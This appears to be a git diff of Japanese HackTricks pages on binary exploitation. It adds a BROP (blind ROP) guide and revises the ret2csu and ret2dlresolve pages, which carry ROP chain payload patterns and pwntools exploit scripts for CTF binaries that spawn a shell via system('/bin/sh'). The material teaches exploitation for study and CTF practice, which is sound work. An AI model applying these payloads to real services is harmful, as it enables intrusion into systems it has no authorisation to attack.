* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して、`.fini_array`内のmain内のアドレスを書き込み(フローが1回追加でループする)、`system`のアドレスを`strlen`を指すGOTテーブルに書き込みます。フローがmainに戻ると、ユーザー入力で`strlen`が実行され、`system`を指すようになり、渡されたコマンドが実行されます。
|
||||
|
|
|
@ -0,0 +1,148 @@
|
|||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する。
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
この攻撃の目標は、**脆弱なバイナリに関する情報がなくても、バッファオーバーフローを介してROPを悪用できるようにすること**です。\
|
||||
この攻撃は次のシナリオに基づいています:
|
||||
|
||||
- スタックの脆弱性とそれをトリガーする方法の知識。
|
||||
- クラッシュ後に再起動するサーバーアプリケーション。
|
||||
|
||||
## 攻撃
|
||||
|
||||
### **1. 脆弱なオフセットを見つける** サーバーの故障が検出されるまで1文字追加して送信
|
||||
|
||||
### **2. キャナリをブルートフォース**してリークする
|
||||
|
||||
### **3. スタック内の保存されたRBPおよびRIP**アドレスをブルートフォースしてリークする
|
||||
|
||||
これらのプロセスに関する詳細情報は、[こちら(BF Forked&Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)および[こちら(BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)で見つけることができます。
|
||||
|
||||
### **4. ストップガジェットを見つける**
|
||||
|
||||
このガジェットは、ROPガジェットによって実行された興味深い動作を確認するためのものです。通常、このガジェットは**実行を停止**し、特定のROPガジェットが実行されたことを確認するためにROPガジェットを検索する際にROPチェーンの最後に配置されます。
|
||||
|
||||
### **5. BROPガジェットを見つける**
|
||||
|
||||
このテクニックは、[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、このガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるためです:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
これらがガジェットです:
|
||||
|
||||
- `pop rsi; pop r15; ret`
|
||||
- `pop rdi; ret`
|
||||
|
||||
これらのガジェットを使用すると、関数の**引数を2つ制御**することが可能であることに注意してください。
|
||||
|
||||
また、ret2csuガジェットには**非常にユニークなシグネチャ**があるため、スタックから6つのレジスタをポップします。したがって、次のようなチェーンを送信すると:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
**STOPが実行される**場合、これは基本的にスタックから6つのレジスタをポップするアドレスが使用されたことを意味します。または使用されたアドレスがSTOPアドレスであることを意味します。
|
||||
|
||||
この最後のオプションを**除外する**ために、前のものが6つのレジスタをポップしたことを確認するために、次のような新しいチェーンが実行され、STOPガジェットが実行されない必要があります:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
ret2csuガジェットのアドレスを知っていると、**`rsi`と`rdi`を制御するガジェットのアドレスを推測**することができます。
|
||||
|
||||
### 6. PLTを見つける
|
||||
|
||||
PLTテーブルは0x400000からまたはスタックからの**漏洩したRIPアドレス**(**PIE**が使用されている場合)から検索できます。テーブルの**エントリ**は**16B**(0x10B)で区切られており、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、PLTのエントリの**アドレス + 6B**をチェックしてもクラッシュしません。これは最初に実行されるコードです。
|
||||
|
||||
したがって、次の動作をチェックしてPLTテーブルを見つけることができます:
|
||||
|
||||
- `'A' * offset + canary + rbp + ADDR + STOP` -> クラッシュしない
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> クラッシュしない
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> クラッシュしない
|
||||
|
||||
### 7. strcmpを見つける
|
||||
|
||||
**`strcmp`**関数は、比較される文字列の長さを示すレジスタ**`rdx`**を設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムをリークさせるためにそれが**0より大きい**必要があります。
|
||||
|
||||
`strcmp`の場所をPLTで見つけることができ、次のような動作に基づいています。これにより、関数の最初の2つの引数を制御できることを考慮しています:
|
||||
|
||||
- strcmp(\<読み取り不可アドレス>, \<読み取り不可アドレス>) -> クラッシュ
|
||||
- strcmp(\<読み取り不可アドレス>, \<読み取り可能アドレス>) -> クラッシュ
|
||||
- strcmp(\<読み取り可能アドレス>, \<読み取り不可アドレス>) -> クラッシュ
|
||||
- strcmp(\<読み取り可能アドレス>, \<読み取り可能アドレス>) -> クラッシュしない
|
||||
|
||||
これを確認するために、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用することができます。これは、**PLTテーブルのエントリ + 0xb**(**`dlresolve`**を呼び出す)を呼び出し、スタックに続いて**調査したいエントリ番号**(ゼロから開始)を置くことで、最初のエントリからすべてのPLTエントリをスキャンすることです:
|
||||
|
||||
- strcmp(\<読み取り不可アドレス>, \<読み取り可能アドレス>) -> クラッシュ
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュする
|
||||
- strcmp(\<読み取り可能アドレス>, \<読み取り不可アドレス>) -> クラッシュ
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
- strcmp(\<読み取り可能アドレス>, \<読み取り可能アドレス>) -> クラッシュしない
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
|
||||
覚えておいてください:
|
||||
|
||||
- BROP + 0x7は**`pop RSI; pop R15; ret;`**を指します
|
||||
- BROP + 0x9は**`pop RDI; ret;`**を指します
|
||||
- PLT + 0xbは**dl\_resolve**を呼び出します。
|
||||
|
||||
`strcmp`を見つけた場合、**`rdx`**を0より大きい値に設定できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。
|
||||
{% endhint %}
|
||||
### 8. Writeまたは同等の機能を見つける
|
||||
|
||||
最後に、バイナリを外部に持ち出すためにデータを外部に持ち出すガジェットが必要です。そしてこの時点で**2つの引数を制御し、`rdx`を0より大きく設定できる**可能性があります。
|
||||
|
||||
これを悪用できる3つの一般的な関数があります:
|
||||
|
||||
- `puts(data)`
|
||||
- `dprintf(fd, data)`
|
||||
- `write(fd, data, len(data)`
|
||||
|
||||
しかし、元の論文では**`write`**のみが言及されているため、それについて話しましょう:
|
||||
|
||||
現在の問題は、**PLT内のwrite関数の場所がわからない**ことと、**ソケットにデータを送信するためのfd番号がわからない**ことです。
|
||||
|
||||
ただし、**PLTテーブルの場所はわかっており**、その**動作に基づいてwriteを見つけることが可能**です。そして、サーバーと**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続に一致することを期待することができます。
|
||||
|
||||
これらの関数を見つけるための動作の特徴:
|
||||
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷されている場合、putsが見つかりました
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷されている場合、dprintfが見つかりました
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷されている場合、writeが見つかりました
|
||||
|
||||
## 自動的な悪用
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## 参考文献
|
||||
|
||||
* 元の論文: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
|
@ -9,18 +9,20 @@ HackTricksをサポートする他の方法:
|
|||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
##
|
||||
|
||||
**ret2csu**は、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するための**ガジェット**を見つけることができない場合に使用されるハッキングテクニックです。
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本情報
|
||||
|
||||
プログラムが特定のライブラリ(例:libc)を使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に`__libc_csu_init`と呼ばれる1つの関数があると、私たちの欠けているガジェットとして機能する隠れた宝石がいくつかあります。
|
||||
**ret2csu**は、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するための**ガジェット**が見つからない場合に使用されるハッキングテクニックです。
|
||||
|
||||
### \_\_libc\_csu\_init内のマジックガジェット
|
||||
プログラムが特定のライブラリ(例:libc)を使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に`__libc_csu_init`と呼ばれる1つの隠れた宝石として機能するものがあります。
|
||||
|
||||
### \_\_libc\_csu\_initのマジックガジェット
|
||||
|
||||
**`__libc_csu_init`**には、強調すべき2つの命令シーケンス(ガジェット)があります:
|
||||
|
||||
|
@ -36,16 +38,16 @@ ret;
|
|||
```
|
||||
このガジェットを使用すると、スタックから値をポップしてそれらを使用してこれらのレジスタを制御できます。
|
||||
|
||||
2. 2番目のシーケンスでは、設定した値を使用して次のことを行います:
|
||||
2. 2番目のシーケンスでは、設定した値を使用して次のことを行います:
|
||||
* **特定の値を他のレジスタに移動**して、それらを関数のパラメータとして使用できるようにします。
|
||||
* r15とrbxの値を合計し、rbxを8倍にして決定される場所に**コールを実行**します。
|
||||
* r15とrbxの値を足し合わせて、rbxを8倍にした場所に**コールを実行**します。
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. もしかしたら、そこに書き込むアドレスがわからず、`ret` 命令が必要になるかもしれません。2番目のガジェットも `ret` で終わりますが、それに到達するためにはいくつかの条件を満たす必要があります。
|
||||
2. おそらく、そこに書き込むアドレスがわからず、`ret` 命令が必要です。2番目のガジェットも `ret` で終わりますが、それに到達するにはいくつかの条件を満たす必要があります。
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -57,10 +59,10 @@ jnz <func>
|
|||
...
|
||||
ret
|
||||
```
|
||||
条件は次のとおりです:
|
||||
次の条件が必要です:
|
||||
|
||||
- `[r12 + rbx*8]` は、呼び出し可能な関数を指すアドレスを指している必要があります(アイデアがなく、PIE もない場合は、単に `_init` 関数を使用できます)。
|
||||
- もし `_init` が `0x400560` にある場合、GEF を使用してそれに対するメモリ内のポインタを検索し、`[r12 + rbx*8]` がポインタを `_init` に指すアドレスになるようにします。
|
||||
- `[r12 + rbx*8]` は、呼び出し可能な関数を指すアドレスを指している必要があります(アイデアがなく、PIEもない場合は、単に `_init` 関数を使用できます):
|
||||
- もし `_init` が `0x400560` にある場合、GEF を使用してそれに対するメモリ内のポインタを検索し、`[r12 + rbx*8]` がポインタを持つアドレスを指すようにします:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -70,21 +72,33 @@ gef➤ search-pattern 0x400560
|
|||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` と `rbx` は同じ値を持っている必要があります。ジャンプを回避するために
|
||||
* 考慮すべき省略されたポップがいくつかあります
|
||||
* `rbp` と `rbx` はジャンプを回避するために同じ値を持たなければならない
|
||||
* 考慮すべき省略されたポップがいくつかある
|
||||
|
||||
## RDI と RSI
|
||||
|
||||
ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
詳細については、このページをチェックしてください:
|
||||
|
||||
{% content-ref url="brop-blind-return-oriented-programming.md" %}
|
||||
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 例
|
||||
|
||||
### コールを使用する
|
||||
### コールの使用
|
||||
|
||||
システムコールを行ったり、`write()` のような関数を呼び出したりする必要があると想像してくださいが、`rdx` と `rsi` レジスタに特定の値が必要な場合。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。
|
||||
システムコールを行い、または `write()` のような関数を呼び出したいとしますが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。
|
||||
|
||||
ここで **ret2csu** が登場します:
|
||||
|
||||
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に格納します。
|
||||
2. **2番目のガジェットを使用**: これらのレジスタが設定されたら、2番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、`r15` と `rbx` を制御することで、計算して `[r15 + rbx*8]` に配置するアドレスにある関数をプログラムが呼び出すことができます。
|
||||
2. **第二のガジェットの使用**: これらのレジスタが設定されたら、第二のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、`r15` と `rbx` を制御することで、計算して `[r15 + rbx*8]` に配置するアドレスにある関数をプログラムが呼び出すことができます。
|
||||
|
||||
このテクニックを使用して説明した [**例をこちらで確認できます**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)。そして、これが使用された最終的なエクスプロイトです:
|
||||
[**このテクニックを使用して説明した例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)があり、それに使用された最終的なエクスプロイトは次のとおりです:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -109,12 +123,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
前のエクスプロイトは**`RCE`**を行うためではなく、単に`win`という関数を呼び出すことを意図しています(`win`のアドレスをROPチェーン内のgetsでstdinから取得し、r15に格納します)。3番目の引数に値`0xdeadbeefcafed00d`を指定して`win`関数を呼び出します。
|
||||
前のエクスプロイトは **`RCE`** を行うためではなく、`win` という関数を呼び出すだけを意図しています(`win` のアドレスを gets で標準入力から取得し、ROP チェーン内で r15 に格納します)。3番目の引数に値 `0xdeadbeefcafed00d` を指定して `win` 関数を呼び出します。
|
||||
{% endhint %}
|
||||
|
||||
### コールをバイパスしてretに到達する
|
||||
### コールをバイパスして ret に到達する
|
||||
|
||||
次のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)から抽出されました。ここでは**ret2csu**が使用されていますが、コールの代わりに**比較をバイパスして`ret`に到達**しています。
|
||||
次のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) から抽出されました。ここでは **ret2csu** が使用されていますが、コールの代わりに **比較をバイパスして `ret` に到達** しています。
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
@ -166,4 +180,4 @@ target.interactive()
|
|||
```
|
||||
### なぜ直接libcを使用しないのですか?
|
||||
|
||||
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibcで直接見つけることが難しいパラメータをより多く制御する必要があることがあります。たとえば、`write()` 関数は3つのパラメータが必要であり、**これらを直接設定するためのガジェットを見つけることができない**ことがあります。
|
||||
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibcで直接見つけることが難しいパラメータをより多く制御する必要があることがあります。たとえば、`write()`関数は3つのパラメータが必要であり、**これらを直接設定するためのガジェットを見つけることができない**ことがあります。
|
||||
|
|
|
@ -2,53 +2,74 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md)および[**Relro**](../common-binary-protections-and-bypasses/relro.md)ページで説明されているように、Full Relroを持たないバイナリは、使用される際にシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、**`_dl_runtime_resolve`** 関数を呼び出すことで行われます。
|
||||
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md)および[**Relro**](../common-binary-protections-and-bypasses/relro.md)ページで説明されているように、Full Relroのないバイナリは、使用されるたびにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、**`_dl_runtime_resolve`** 関数を呼び出すことで行われます。
|
||||
|
||||
**`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要ないくつかの構造体への参照をスタックから取得します。
|
||||
|
||||
したがって、**これらの構造体をすべて偽造**して、動的リンクされたリクエストされたシンボル(たとえば **`system`** 関数)を解決し、構成されたパラメータ(たとえば **`system('/bin/sh')`**)で呼び出すことが可能です。
|
||||
したがって、**これらの構造体をすべて偽造**して、動的リンクされたシンボル(たとえば **`system`** 関数)を解決し、構成されたパラメータ(たとえば **`system('/bin/sh')`**)で呼び出すことが可能です。
|
||||
|
||||
通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す初期のROPチェーンを作成し、その後、**構造体**と文字列 **`'/bin/sh'`** が渡され、それらが既知の場所に読み込まれるようにしてから、ROPチェーンが続行され、**`_dl_runtime_resolve`** を呼び出し、偽の構造体内の **`system`** のアドレスを解決し、このアドレスを **`$'/bin/sh'`** のアドレスとともに呼び出すことができます。
|
||||
通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す初期のROPチェーンを作成し、その後、**構造体**と文字列 **`'/bin/sh'`** が渡され、それらが既知の場所に読み込まれるようにしてから、ROPチェーンが続行され、**`_dl_runtime_resolve`** を呼び出すことで、偽の構造体内の **`system`** のアドレスを解決し、このアドレスを **`'/bin/sh'`** のアドレスとともに呼び出します。
|
||||
|
||||
{% hint style="success" %}
|
||||
このテクニックは、システムコールガジェットがない場合([**ret2syscall**](rop-syscall-execv/)や[SROP](srop-sigreturn-oriented-programming/)などのテクニックを使用するため)や、libcアドレスをリークする方法がない場合に特に有用です。
|
||||
{% endhint %}
|
||||
|
||||
このテクニックについてのより良い説明は、次のビデオの後半にあります:
|
||||
このテクニックについての素晴らしい説明は、ビデオの後半で次のビデオをチェックしてください:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## 構造体
|
||||
または、ステップバイステップの説明については、次のページをチェックしてください:
|
||||
|
||||
**`JMPREL`**、**`STRTAB`**、および**`SYMTAB`** の3つの構造体を偽造する必要があります。これらがどのように構築されるかについての詳細な説明は、[https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)で提供されています。
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## 攻撃の要約
|
||||
## 攻撃の概要
|
||||
|
||||
1. いくつかの場所に偽の構造体を書き込む
|
||||
2. systemの最初の引数を設定する(`$rdi = &'/bin/sh'`)
|
||||
3. スタックに構造体へのアドレスを設定して **`_dl_runtime_resolve`** を呼び出す
|
||||
3. スタックに構造体を呼び出すためのアドレスを設定して **`_dl_runtime_resolve`** を呼び出す
|
||||
4. **`_dl_runtime_resolve`** を呼び出す
|
||||
5. **`system`** が解決され、引数として `'/bin/sh'` が渡されます
|
||||
5. **`system`** が解決され、引数として `'/bin/sh'` が呼び出されます
|
||||
|
||||
[**pwntoolsドキュメント**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)によると、**`ret2dlresolve`** 攻撃は次のようになります:
|
||||
```python
|
||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
|
||||
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
|
||||
>>> rop.ret2dlresolve(dlresolve)
|
||||
>>> raw_rop = rop.chain()
|
||||
>>> print(rop.dump())
|
||||
0x0000: 0x400593 pop rdi; ret
|
||||
0x0008: 0x0 [arg0] rdi = 0
|
||||
0x0010: 0x400591 pop rsi; pop r15; ret
|
||||
0x0018: 0x601e00 [arg1] rsi = 6299136
|
||||
0x0020: b'iaaajaaa' <pad r15>
|
||||
0x0028: 0x4003f0 read
|
||||
0x0030: 0x400593 pop rdi; ret
|
||||
0x0038: 0x601e48 [arg0] rdi = 6299208
|
||||
0x0040: 0x4003e0 [plt_init] system
|
||||
0x0048: 0x15670 [dlresolve index]
|
||||
```
|
||||
## 例
|
||||
|
||||
### 純粋なPwntools
|
||||
|
||||
[**このテクニックの例はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **最終的なROPチェーンの非常に良い説明を含んでいます**が、ここに使用される最終的なエクスプロイトがあります:
|
||||
このテクニックの例は[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation)にあります。**最終的なROPチェーンの非常に良い説明が含まれています**が、ここに使用される最終的なエクスプロイトがあります:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -178,4 +199,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小規模バッファオーバーフローとリターン。これを悪用するために、bofを使用して`.bss`セクションとより大きなサイズで再び`read`を呼び出し、そこに`dlresolve`の偽のテーブルを格納して`system`をロードし、mainに戻り、最初のbofを再度悪用してdlresolveを呼び出し、`system('/bin/sh')`を実行します。
|
||||
